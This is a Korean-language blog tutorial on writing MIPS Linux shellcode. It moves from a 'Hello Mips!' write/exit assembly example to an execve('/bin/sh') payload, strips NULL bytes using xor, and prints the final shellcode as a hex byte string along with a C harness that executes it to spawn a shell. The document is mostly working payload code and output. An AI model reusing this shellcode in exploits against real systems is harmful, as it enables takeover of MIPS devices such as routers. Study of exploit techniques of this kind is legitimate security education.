mips 쉘코드 작성
다른 아키텍처와 마찬가지로 mips
아키텍처에도 syscall instruction
이 존재한다.
이를 이용해 원하는 함수를 부를 수 있으며, intel
에서 eax
를 mips
에서 v0
으로 간주하고 작성하면 편하다.
(실제로 함수의 리턴 값도 v0
으로 넘어온다.)
mips
의 syscall number
는 아래 링크에서 확인이 가능하다.
http://syscalls.kernelgrok.com/
mips
는__NR_Linux
변수에 의해 4000 ~ 4999range
의syscall number
를 가진다.
execve
쉘코드를 작성하기에 앞서, hello Mips!
를 출력해주는 어셈블리 코드를 작성해 보자.
void main()
{
printf("Hello Mips!\n");
}
위 코드를 gdb
로 열어보면
위와 같다.
위 코드를 그대로 어셈블리로 옮겨보자.
.data
hello: .asciiz "Hello Mips!\n"
.text
.global main
main:
li $2, 4004 # 4000 + 4 = write syscall number
# set arg
li $6, 14
la $5, hello
li $4, 1
# write(1, "Hello Mips!\n", 10)
syscall
li $2, 4001 # 4000 + 1 = exit syscall number
# exit(1)
syscall
하나하나 설명하자면,
data
섹션에Hello Mips!\n
문자열을 저장한다.main
을export
한다.$v0
에write syscall num
저장$a0, $a1, $a2
에 인자 저장syscall
$v0
에exit syscall num
저장syscall
위와 같이 아주 간단하다.
실행 결과도 아주 훌륭하다 ㅎㅎ
그러면 이제 execve
코드를 작성하여 gdb
로 열어보자.
void main()
{
char* argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, 0);
}
그리고 다시 이걸 어셈블리로 바꿔보자!
여기서 중요한게 있는데, 쉘 코드에서는 data
섹션을 쓸 수 없으므로 /bin/sh
문자열을 직접 제작하여 사용해야 한다.
.text
.global main
main:
# make "/bin/sh" temporarily
li $8, 0x6e69622f
li $9, 0x0068732f
# move "/bin/sh" to stack
sw $8, -32($29)
sw $9, -28($29)
add $10, $29, -32
# set execve syscall num
li $2, 4011
# set arg
move $6, $0
move $5, $0
move $4, $10
syscall
li $2, 4001
syscall
그렇게 해서 완성된 execve
쉘코드!
하지만 아직 NULL
이 너무 많다..
이제 xor
연산을 이용하여 NULL
값을 어셈블리 코드에서 없애보자.
xxxxxxxxxx
.text
.global main
main:
# make "/bin/sh" temporarily
li $8, 0x6e69622f
li $9, 0x1168732f
# move "/bin/sh" to stack
sw $8, -32($29)
sw $9, -28($29)
# /bin/sh\x11 -> /bin/sh\x00
xor $25, $25
sb $25, -25($29)
add $10, $29, -32
# set execve syscall num
li $2, 4011
# set arg
move $6, $25
move $5, $25
move $4, $10
syscall
li $2, 4001
syscall
gdb
로 디버깅해보면 한결 나아진 것을 확인할 수 있다.
하지만, 맨 뒤쪽에 0x00
이 거슬린다..
찾아보니 syscall
뒤에 나오는 패딩? 비슷한 거라는데 0x01
로 바꿔도 무의미한 instruction
이 되므로 0x01
로 바꿔주자.
대충 gdb
내용 끌어와서 vim
에서 파싱하면 된다.
xxxxxxxxxx
\x69\x6e\x08\x3c\x2f\x62\x08\x35\x68\x11\x09\x3c\x2f\x73\x29\x35\xe0\xff\xa8\xaf\xe4\xff\xa9\xaf\x26\xc8\x39\x03\xe7\xff\xb9\xa3\xe0\xff\xaa\x23\xab\x0f\x02\x24\x21\x30\x20\x03\x21\x28\x20\x03\x21\x20\x40\x01\x0c\x01\x01\x01\xa1\x0f\x02\x24\x0c\x01\x01\x01
그러면 위와 같은 쉘코드가 탄생한다~~
void main()
{
char* sc = "\x69\x6e\x08\x3c\x2f\x62\x08\x35\x68\x11\x09\x3c\x2f\x73\x29\x35\xe0\xff\xa8\xaf\xe4\xff\xa9\xaf\x26\xc8\x39\x03\xe7\xff\xb9\xa3\xe0\xff\xaa\x23\xab\x0f\x02\x24\x21\x30\x20\x03\x21\x28\x20\x03\x21\x20\x40\x01\x0c\x01\x01\x01\xa1\x0f\x02\x24\x0c\x01\x01\x01";
void (*shell)(void);
shell = (void*)sc;
shell();
}
마지막으로 위 코드를 통해 검증을 해보자.
쉘이 떳다!
ref
'system' 카테고리의 다른 글
qemu 설치 및 mips 셋팅 (2) | 2019.08.10 |
---|---|
peda-arm, peda-mips (0) | 2019.08.10 |
arm, mips 크로스 컴파일링 및 디버깅 (1) | 2019.08.10 |